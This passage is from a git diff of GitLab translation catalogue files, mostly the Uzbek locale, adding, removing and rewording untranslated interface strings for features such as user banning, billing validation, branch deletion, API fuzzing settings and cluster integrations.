msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/uz_UZ/gitlab.po b/locale/uz_UZ/gitlab.po
index 331bd6ea51b..3ff40e8febd 100644
--- a/locale/uz_UZ/gitlab.po
+++ b/locale/uz_UZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: uz\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:15\n"
+"PO-Revision-Date: 2021-06-01 20:28\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
